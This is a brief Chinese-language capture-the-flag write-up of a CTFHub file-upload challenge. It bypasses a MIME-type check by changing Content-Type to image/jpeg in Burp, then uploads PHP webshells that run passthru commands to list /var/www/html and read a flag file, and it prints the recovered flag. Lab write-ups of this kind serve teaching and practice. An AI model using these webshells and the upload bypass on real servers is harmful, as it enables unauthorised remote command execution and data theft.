MIME绕过
随意上传php文件会显示文件类型不正确:
在本地写一个一句话木马:
1 <?php 2 passthru("ls /var/www/html");//执行外部程序并且显示原始输出 3 ?>
上传,Submit后通过Burp抓包,修改请求头中的Content-Type为image/jpeg,放到Repeater中调试。
发包,发现文件上传成功,路径为upload/test.php
发现var/www/html目录已被列出
此处可以使用菜刀、蚁剑等客户端查看,我选择继续上传木马查看flag_621016788.php的内容(注意不能直接在浏览器中访问)
1 <?php 2 passthru("cat /var/www/html/flag_621016788.php"); 3 ?>
重复之前的操作(上传成功-访问路径),此时在页面中看不到任何内容,查看响应发现flag(被注释掉了):
1 <?php // ctfhub{d9687ec78b08b67501144683517087233525cec8}